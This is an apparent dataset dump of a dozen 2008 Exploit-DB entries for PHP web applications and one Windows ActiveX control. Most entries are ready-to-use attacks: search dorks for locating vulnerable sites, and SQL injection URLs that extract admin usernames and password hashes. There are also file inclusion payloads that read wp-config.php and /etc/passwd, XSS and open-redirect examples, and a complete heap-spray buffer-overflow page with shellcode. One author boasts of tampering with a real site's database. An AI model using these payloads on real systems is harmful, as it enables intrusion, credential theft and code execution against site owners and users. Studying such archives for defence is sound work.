QLWD/code_shield huggingface dataset:
标题: RMSOFT Gallery System 2.0 - 'id' SQL Injection EDB-ID: 5062 CVE: 2008-0611 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-05 漏洞利用脚本: #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=#
# ~Author: you_kn0w                        #
# ~Contact: you-know[at]linuxmail.org          #
# ~Website: www.youknowz.info                  # 
# ~Script: RRMSOFT Gallery                     #
# ~Bug: RRMSOFT Gallery Remote SQL Injection   #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#
#               Script Information             #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=#    
#                                              # 
# Script name: RRMSOFT Gallery System          #
# Script site: http://www.xoopsmexico.net      #
# Script get:  www.xoopsmexico.net/modules/rmdp#
# Description:  PHP media gallery System       #
# Version: 2.0                                 #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=# 

# [-]Dorks:
             intext:Powered by RMSOFT GS 2.0
           inurl:modules/rmgs/images.php
         
       

# [+]How To Exploit:
 
 http://[target].com/[path]/modules/rmgs/images.php?q=user&id=1999/**/union/**/all/**/select/**/1,1,concat(database(),0x202D20,user()),1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0/*



# [+]Greetz:
 
 Greetz to; ka0x - Celciuz - JosS - Phanter-Root & Screamo

//you_kn0w
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# milw0rm.com [2008-02-05] URL: https://www.exploit-db.com/exploits/5062
标题: Mambo Component Shambo2 - 'itemID' SQL Injection EDB-ID: 5059 CVE: 2008-0606 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_shambo2)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"com_shambo2"
#
##########################################################################
EXPLOIT :

index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users


##########################################################################
#  S@BUN                 www.hackturkiye.com                      S@BUN
##########################################################################
# S@BUN                      GOOD LUCKY                             S@BUN
##########################################################################

# milw0rm.com [2008-02-04] URL: https://www.exploit-db.com/exploits/5059
标题: VHD Web Pack 2.0 - 'index.php' Local File Inclusion EDB-ID: 5060 CVE: 2008-0609 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-010


Application:                    VHD Web Pack 2.0
Versions Affected:              VHD Web Pack 2.0
Vendor URL:                     http://www.divideconcept.net/index.php?page=vhdwebpack/index.php
Bugs:                           Local File Include
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                NONE
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********


VHD Web Pack 2.0 system has Local file Include  security vulnerability



Details
*******


Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script /vhdwebpack/index.php  vulnerable  parameter "page"

Example:


http://[server]/vhdwebpack/index.php?page=/../../../../../../../../boot.ini





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-04] URL: https://www.exploit-db.com/exploits/5060
标题: Mambo Component 'com_awesom' 0.3.2 - 'listid' SQL Injection EDB-ID: 5058 CVE: 2008-0603 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_awesom)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
#    DORKS 1 : allinurl :"com_awesom"
#
#   
#########################################################################   
# 
#    Ä± changed ATATÃœRK.com's db.  soo dont look
#
#   ATATÃœRK.com db si deÄŸiÅŸtirilip kullanÄ±cÄ±sÄ±na bildirilmiÅŸtir.
#
##########################################################################
EXPLOIT :

index.php?option=com_awesom&Itemid=S@BUN&task=viewlist&listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*


##########################################################################
# S@BUN                   www.hackturkiye.com               S@BUN
##########################################################################
# S@BUN                        GOOD LUCKY                    S@BUN
##########################################################################

 <name>Awesom</name>
 <creationDate>24/05/2004</creationDate>
 <author>Madd0</author>
 <copyright>This component is released under the GNU/GPL License</copyright>
 <authorEmail>madd0@users.sourceforge.net</authorEmail>

 <authorUrl>amazoop.sourceforge.net</authorUrl>
 <version>0.3.2</version>
 <description>Awesom!, or Amazon Web Services for Opensource Mambo, is a component that lets you 
  create lists of products to feature on your Mambo-driven site.<br />
  These lists can be customized or can be automatically generated with information provided 
  by Amazon through Amazon Web Services.<br />
  Additionally, if you are an Amazon associate, you can configure Awesom to link to Amazon 
  using your associate ID in order to earn comissions.
 </description>

# milw0rm.com [2008-02-04] URL: https://www.exploit-db.com/exploits/5058
标题: Joomla! Component com_Marketplace 1.1.1 - SQL Injection EDB-ID: 5055 CVE: 2008-0689 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-03 漏洞利用脚本: ############################################################################
# Joomla Component Markplace 1.1.1 Remote Sql Injection Exploit            #
#                                                                          #
# AUTHOR:SoSo H H (Iraqi-Cracker)                                          #
#                                                                          #
# Tested on: Markplace Version 1.1.1 and 1.1.1-pl1                         #
#                                                                          #
# Dork:"Marketplace Version 1.1.1"                                         #
#      "Marketplace Version 1.1.1-pl1"                                     #
#      inurl:index.php?option=com_marketplace                            #
############################################################################
# Exploit in:                                                              #
# index.php?option=com_marketplace&page=show_category&catid=(SQL)          #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)=-1+union+select+concat(username,0x3a,password),2,3+from+jos_users/*#
############################################################################
# Greetz:                                                                  #
# L!0N,El Mariachi,My Sweet,Shadow Administrator,TrYaG Team                #
# and All 7shasha Boards Members!                                          #
############################################################################

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5055
标题: ITechBids 5.0 - 'item_id' SQL Injection EDB-ID: 5056 CVE: 2008-0692 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: [!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QTRinux!!aNa TrYaGi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
# iTechBids v3 Gold Remote SQL injection
#                                                                                       #
#AUTHOR : QTRinux                                                                       #
#Discovered by : QTRinux                                                                #
#Exploited By  : QTRinux                                                                #
#TrYaG Team Members : AlQaTaRi - POISON -Mr.SH4R3S and all TrYaGi  , cold-z3ro , Gold_M
#Site : Tryag.cc
#
#Script:http://itechscripts.com/index.php?&vmcchk=1&option=com_virtuemart&Itemid=45
#Price : $125.00
#Dork  : intitle:"ITech Bids"
#File: PATH_SCRIPT/bidhistory.php?item_id= SQL
#SQL : -1%20union%20select%201,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36%20from%20admin

thnx str0ke :)
[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QTRinux!!aNa TrYaGi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]

# milw0rm.com [2008-02-04] URL: https://www.exploit-db.com/exploits/5056
标题: XOOPS 2.0.18 - Local File Inclusion / URL Redirecting EDB-ID: 5057 CVE: 2008-0613 2008-0612 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-009


Application:                    XOOPS
Versions Affected:              XOOPS 2.0.18
Vendor URL:                     http://www.xoops.org/
Bugs:                           Local File Include,URL Redirecting  phishing
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                28.01.2008
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)





Description
***********

XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing


Details
*******


1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php  vulnerable POST parameter lang



vulnerable code:

************************************************



$language = 'english';
if ( !empty($_POST['lang']) ) {
    $language = $_POST['lang'];
.
.
.
.



if ( file_exists("./language/".$language."/install.php") ) {
    include_once "./language/".$language."/install.php";


************************************************









Example:


POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next










---------------------------------------------------------------------


2. URL Redirection phishing 

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect" 


Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com 



Fix Information
***************


Vendor  fix this flaw in svn on 28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282

Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=1881236&group_id=41586





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-04] URL: https://www.exploit-db.com/exploits/5057
标题: WordPress Plugin st_newsletter - SQL Injection EDB-ID: 5053 CVE: 2008-0683 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-03 漏洞利用脚本: #########################################################################
#
#  Wordpress Plugin (st_newsletter) SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"wp-content/plugins/st_newsletter"
#
# DORK 2 : allinurl :"shiftthis-preview.php"
#
##########################################################################
EXPLOIT :

wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users


##########################################################################
# S@BUN                   www.hackturkiye.com                  S@BUN
##########################################################################
# S@BUN                      GOOD LUCKY                          S@BUN
##########################################################################

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5053
标题: Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (2) EDB-ID: 5048 CVE: 2008-0624 2008-0623 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-03 漏洞利用脚本: <!--
 Yahoo! Music Jukebox 2.2 AddImage() ActiveX BOF

 Discovered by Krystian Kloskowski - h07@interia.pl

 Written by exceed (code ripped from here and there...)

 Tested on Windows XP SP3 English / IE6 SP3 / datagrid.dll v2.2.2.56
-->

<html>
<object classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"
id="target"></OBJECT>

<SCRIPT language="JavaScript">
// HeapSpray - execute calculator (calc.exe)
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                     "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                     "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                     "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                     "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                     "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                     "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                     "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                     "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                     "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                     "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                     "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                     "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                     "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                     "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                     "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                     "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                     "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                     "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                     "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                     "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                     "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                     "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                     "%u314e%u7475%u7038%u7765%u4370");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();
for (i=0;i<400;i++) memory[i] = block + shellcode;

var buffer =  unescape("%u0A0A%u0A0A");
while (buffer.length< 340) buffer+=unescape("%u0A0A%u0A0A");
target.AddImage("http://"+buffer,1);

</script>
</html>

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5048
标题: Joomla! Component mosDirectory 2.3.2 - 'catid' SQL Injection EDB-ID: 5047 CVE: 2008-0690 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-03 漏洞利用脚本: ###########################################################################################
### Joomla Component mosDirectory 2.3.2 (catid) Remote SQL Injection Vulnerability      ###
### Script :  :(                                                                          ###
### Dork : inurl:index.php?option=com_directory                                         ###
### Injection Adress : /index.php?option=com_directory&page=viewcat&catid=[SQL Code]    ###
### SQL Code :                                                                          ###
###   -1/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/jos_users/*  ###
###                                     aNa TrYaGi                                      ###
###########################################################################################

# milw0rm.com [2008-02-03] URL: https://www.exploit-db.com/exploits/5047
标题: phpShop 0.8.1 - SQL Injection / Filter Bypass EDB-ID: 5041 CVE: 2008-0681 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: Vendor  : PHPShop
Webiste : http://www.phpshop.org
Version : v0.8.1
Author: the redc0ders / theredc0ders[at]gmail[dot]com
Condition: magic_quote_gpc = off , in php.ini setting

Details :
==========

  Vulnerable Code in index.php near lines 98 - 128
   [code]
 // basic SQL inject detection
   $my_insecure_array = array('keyword' => $_REQUEST['keyword'],
                  'category_id' => $_REQUEST['category_id'],
                  'product_id' => $_REQUEST['product_id'],
                  'user_id' => $_REQUEST['user_id'],
                  'user_info_id' => $_REQUEST['user_info_id'],
                  'page' => $_REQUEST['page'],
                  'func' => $_REQUEST['func']);
                  
   while(list($key,$value)=each($my_insecure_array)) {
      if (stristr($value,'FROM ') ||
          stristr($value,'UPDATE ') ||
          stristr($value,'WHERE ') ||
          stristr($value,'ALTER ')  ||
          stristr($value,'SELECT ')  ||
          stristr($value,'SHUTDOWN ') ||
          stristr($value,'CREATE ') ||
          stristr($value,'DROP ') ||
          stristr($value,'DELETE FROM') ||
          stristr($value,'script') ||
          stristr($value,'<>') ||
          stristr($value,'=') ||
          stristr($value,'SET '))
              die('Please provide a permitted value for '.$key);
   }
 [/code]

  The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc 

  so WORD+space, and this can be easily bypassed using comments like 
  POC : select/**/input1,input2...

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*


  
  Solution :
 simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini
 
 Greetz : Hacker1 - ToXiC350 - S4MI - Miyyet - Pynsso - Amigo_BM and All Moroccan Hackers =)

>From Morocco : JIB L3EZZ WELLA K7AZZ !

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5041
标题: WordPress Plugin dmsguestbook 1.7.0 - Multiple Vulnerabilities EDB-ID: 5035 CVE: 2008-0616 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: ########################################################
Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities
by NBBN  2nd, February 2008
########################################################

1) File Disclosure

Open the following url you can see the config data of wordpress, with the 
mysql-server username and password. In this file you usually have write 
permission, so an attacker can place his deface page here: 
 
http://site.tld/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../wp-config.php

Vuln code:
Line: 652-655
$handle = fopen ($abspath . "wp-content/plugins/dmsguestbook/" . 
$_REQUEST[folder] . $_REQUEST[file], "r");
 if(is_writable($abspath . "wp-content/plugins/dmsguestbook/" . 
$_REQUEST[folder] . $_REQUEST[file])) {
 echo "<br />$_REQUEST[file] <font style='color:#00bb00;'>is 
writable!</font><br />Set $file readonly again when your finished to 
customize!";


$_REQUEST[folder] & $_REQUEST[file] doesn't checked.



Another PoC: 
http://localhost/xampp/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=../../../../../../../../../../../../../../../../etc/passwd

Ok, for this you need an admin account, but you can get an admin account with 
the follow xss vulnerabilities. 

################


2) Cross-Site Scripting Vulnerabilities

a) If the script doesn't find the file, php shows an errormessage, so for xss 
open this:


http://site.tldwordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1&folder=language/&file=<script>alert("XSS")</script>

b) Another vulnerability:

Find the guestbook page. In the messagefield write &lt;/textarea&gt;[your xss code]. 
So, if admin go to the admin panel, to show himself the guestbook, he execute 
your xss code

c) Again in the guestbook

Enter your message in the title ">[xss]  and in the messagearea: 
&lt;/textarea&gt;[xss] and enter a wrong captcha-code, you execute the xss code




Note: There more some more XSS-Vuln's. 


################

3) SQL-Injection Vulnerabilities

There are some SQL-Injection vulnerabilites, but an attacker need an admin 
account and if he is in the administration-panel, a sql-injection he not 
need. 

# milw0rm.com [2008-02-02] URL: https://www.exploit-db.com/exploits/5035